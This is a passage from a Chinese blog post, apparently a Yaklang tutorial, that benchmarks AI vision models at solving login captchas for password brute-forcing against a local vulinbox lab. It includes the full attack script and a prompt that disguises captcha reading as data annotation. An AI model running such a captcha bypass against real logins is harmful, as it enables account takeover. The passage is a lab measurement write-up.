class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic">// 1) 拉 session + 拉验证码</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/op"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        cookie </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">RawPacket</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        codeRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Get</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Cookie"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%v=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic">// 2) AI 识别，用 ai.model 指定要测试的模型</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        aiStart </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> time</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Now</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        b64 </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> codec</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">EncodeBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">codeRsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        result</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">FunctionCall</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token string" style="color:#e3116c">`执行数据标注任务，从图片中提取展示内容文本，放置在结果中`</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token punctuation" style="color:#393A34">{</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"从图片中提取的验证码类似的内容"</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">imageBase64</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">b64</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">model</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">modelName</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            ai</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">funcCallRetryTimes</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        costMs </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> time</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Now</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Sub</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">aiStart</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Milliseconds</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">nil</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            mu</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Lock</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> aiErrCount</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> costs </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">append</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">costs</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> costMs</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> mu</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Unlock</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic">// 3) 提交：故意用错密码，让服务端走到验证码判定分支</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        submitRsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Post</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            target </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"/verification/safe/op"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">header</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Cookie"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprintf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%v=%v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">replacePostParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sprint</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">result</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">replacePostParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"password"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"0000"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        mu</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Lock</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        costs </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">append</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">costs</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> costMs</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> str</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">submitRsp</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"verification code not match"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            captchaFailCount</span><span class="token operator" style="color:#393A34">++</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">            successCount</span><span class="token operator" style="color:#393A34">++</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        mu</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Unlock</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">swg</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Wait</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><br></span></code></pre></div></div>
<p>脚本里几个需要说明的点：</p>
<ul>
<li class="">单次成功率的分母只算 <code>success + captcha_fail</code>。AI 网关偶尔会给出 EOF 之类的错误（下面的结果里出现了 0~13 次），这些属于基础设施抖动，单独计到 <code>ai_error</code>，不进分母。</li>
<li class="">每轮只有两次 HTTP 加一次 AI 调用。session 独立，验证码用后即废，和 Web Fuzzer 真实爆破的工作流一致。</li>
<li class=""><code>ai.funcCallRetryTimes(1)</code> 允许底层 JSON 解析失败时快速重试一次，避免模型偶尔返回不规范结构带来的噪声污染数据。</li>
</ul>
<p>测试设置</p>
<ul>
<li class="">目标：vulinbox <code>/verification/safe/*</code>（本地 <code>127.0.0.1:8787</code>）</li>
<li class="">每个模型 300 次独立识别</li>
<li class="">并发度 10</li>
<li class=""><code>ai.model("&lt;模型名&gt;")</code> 切换模型，脚本其它部分不变</li>
</ul>
<p>笔者选了六个 aibalance 网关上公开可用的模型，覆盖四条典型路线：通用 flash、视觉特化、大模型 no-thinking、超大规模。</p>
<ul>
<li class=""><code>memfit-qwen3.5-flash-free</code></li>
<li class=""><code>memfit-qwen3.6-flash-free</code></li>
<li class=""><code>memfit-qwen3-vl-flash-free</code></li>
<li class=""><code>memfit-qwen3-vl-plus-free</code></li>
<li class=""><code>memfit-qwen3.6-plus-no-thinking-free</code></li>
<li class=""><code>memfit-kimi-k2.5-free</code>（本次对比里参数规模最大）</li>
</ul>
<p><strong>测试结果</strong></p>
<p>六个模型各 300 次独立识别：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/15ef08a297502879-12038e01f9821d861f10f7c0a0b9aa12.png" width="1080" height="410" class="yakdoc-image"></button></p>
<p>先说最反常识的一条：参数规模最大的 <code>memfit-kimi-k2.5-free</code> 综合排在最后。</p>
<ul>
<li class="">单次成功率垫底 35.02%，比 qwen3.5-flash 低 22 个百分点</li>
<li class="">单次耗时 10549 ms，是 flash 系列的 7~10 倍</li>
<li class="">300 次并发 10 跑完要 5 分 20 秒</li>
</ul>
<p>笔者的理解：Kimi k2.5 定位偏长上下文推理，视觉编码更多用在语义密集的图文理解上。面对四个扭曲字符的短 OCR，它会"过度推理"——先判断字体风格、再试图理解语义、最后才产出字符，每一步都在烧 token。</p>
<p>flash 系列走的是另外一条路：短输出延迟优化。"图进字出"的场景正好落在它的甜区里。</p>
<p>其它几条规律：</p>
<p>1.三个 57% 梯队的模型（qwen3.5-flash 57.49% / qwen3.6-plus-no-thinking 57.53% / qwen3.6-flash 56.90%）差距完全在统计噪声里——300 样本的标准差约 ±2.8 pp，三者在同一水平线。</p>
<p><code>2.memfit-qwen3.6-flash-free</code> 综合最优：耗时 1226 ms，成功率和头部平齐，AI 错误只有 3 次。成功率、耗时、稳定性三项同时到一线的只有它一个。</p>
<p><code>3.memfit-qwen3.6-plus-no-thinking-free</code>单次成功率 57.53% 略高，但 1697 ms 的耗时比 flash 重一半。</p>
<p>4.VL 系列（专门对齐视觉的变体）在这道题上反而落后，qwen3-vl-flash 只有 48.33%，qwen3-vl-plus 54.79%、P95 到 3435 ms。"专门 vision" 在这种短字符 OCR 上没体现出优势，模型更大只是把延迟拉了起来。</p>
<p><strong>价格与性价比</strong></p>
<p><code>memfit-*-free</code> 都是 aibalance 网关上的免费别名。直接沿用热加载代码的读者不会产生任何费用。</p>
<p>接官方 API 或要在生产环境大规模跑，就得把"每识别成功一次花多少钱"算清楚。这个指标比单次成功率更接近工程决策。</p>
<p>以下按"单次 ≈ 500 input tokens（含图片 vision tokens + prompt）+ 50 output tokens（JSON 结果体）"保守估算。价格取 2026-04 的公开定价，USD / 百万 tokens。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/39eea52a212b5153-7c3126a5ab58a7da4b6c98ef12dde25f.png" width="963" height="408" class="yakdoc-image"></button></p>
<p>价格来源：pricepertoken / aimodelapis / llmgateway / cloudprice 上公开的 Alibaba DashScope、Moonshot AI 官方定价。官方会不定期调整，以实际账单为准。</p>
<p>三个观察：</p>
<p>1.flash 系列性价比最好。qwen3.5-flash 和 qwen3.6-flash 跑 1000 次成功识别约 ¥0.57~¥0.58，一毛钱都没到。</p>
<p>2.kimi-k2.5 跑 1000 次要 ¥5.71，是 flash 系列的 10 倍。倍数的来源：单价贵 6 倍（$0.383 vs $0.065 输入），单次成功率只有 flash 的一半（35.02% vs 57.49%），两者相乘就是 10 倍。再叠上每次 10 秒的延迟，工程上不值。</p>
<p>3.VL-Plus 和 Plus-no-thinking 夹在中间。VL-Plus 单价是 flash 的 3~6 倍，耗时更长，1000 次 ¥2.37；Plus-no-thinking 单次成功率只比 flash 高 0.04 pp，但单价贵 6 倍，1000 次 ¥3.25。花 6 倍的钱换统计噪声里的 0.04 pp，工程上不划算。</p>
<p>性价比排序：</p>
<blockquote>
<p>flash 系列 ≫ VL-Plus ≈ Plus-no-thinking ≫ VL-Flash ≫ Kimi K2.5</p>
</blockquote>
<p><strong>重试之后的累积成功率</strong></p>
<p>单次成功率看起来都不算高（最高 57.53%，最低 35.02%）。但回到前面那个公式：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="data:image/png;base64,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" width="453" height="57" class="yakdoc-image"></button></p>
<p>把六个 P代入，得到 1~6 次累积成功率：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/25965682e4dd180b-3b52874eb004ec5cad36d5e94c5570ea.png" width="1080" height="534" class="yakdoc-image"></button></p>
<p>几个观察：</p>
<ul>
<li class="">只要单次成功率到 55% 以上，6 次重试就稳定在 99%+。1000 个密码最多 6~10 个会因连续失败漏掉，这个比例在爆破场景完全可以接受。</li>
